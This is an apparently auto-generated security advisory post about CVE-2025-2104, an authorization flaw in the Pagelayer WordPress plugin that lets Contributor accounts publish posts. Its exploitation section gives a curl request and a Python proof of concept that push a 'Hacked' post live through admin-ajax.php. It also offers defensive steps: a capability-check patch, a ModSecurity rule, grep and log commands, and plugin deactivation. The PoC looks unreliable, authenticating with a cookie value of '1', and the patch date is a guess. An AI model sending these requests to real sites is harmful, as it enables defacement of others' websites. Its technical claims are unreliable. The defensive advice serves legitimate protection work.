WordPress, Unauthorized Post Publication, CVE-2025-2104 (Critical)

Listen to this Post

How CVE-2025-2104 Works

The Page Builder: Pagelayer plugin (≤ v1.9.8) for WordPress contains a flawed `pagelayer_save_content()` function that fails to properly validate user permissions before executing post updates. Attackers with Contributor-level access (or higher) can bypass WordPress’s default post moderation system by sending a crafted HTTP POST request containing malicious post data. The function does not verify if the user has `publish_posts` capability, allowing unauthorized changes to post status from “draft” to “publish.” This occurs due to missing capability checks and improper nonce validation in AJAX handlers.

DailyCVE Form:

Platform: WordPress
Version: ≤ 1.9.8
Vulnerability: Auth Bypass
Severity: Critical
Date: 2025-03-13

Prediction: Patch by 2025-06-20

What Undercode Say:

Exploitation:

1. Craft Malicious Request:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
-d 'action=pagelayer_save_content&post_id=123&status=publish'

2. Python PoC:

import requests
data = {
'action': 'pagelayer_save_content',
'post_id': '123',
'content': '

<h1>Hacked</h1>

',
'status': 'publish'
}
requests.post("http://wordpress-site/wp-admin/admin-ajax.php", data=data, cookies={"wordpress_logged_in": "1"})

Mitigation:

1. Temporary Fix:

Add capability checks in `pagelayer_save_content()`:

if (!current_user_can('publish_posts')) { wp_die('Unauthorized'); }

2. WAF Rule (ModSecurity):

SecRule ARGS:action "@streq pagelayer_save_content" \
"id:1005,deny,status:403,msg:'Pagelayer Exploit Attempt'"

3. Detection Command:

grep -r "pagelayer_save_content" /var/www/html/wp-content/plugins/pagelayer/

4. Patch Monitoring:

watch -n 3600 wp plugin update --dry-run pagelayer

5. Log Analysis:

tail -f /var/log/apache2/access.log | grep 'admin-ajax.php' | grep 'pagelayer_save_content'

6. Disable Plugin (Emergency):

wp plugin deactivate pagelayer

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top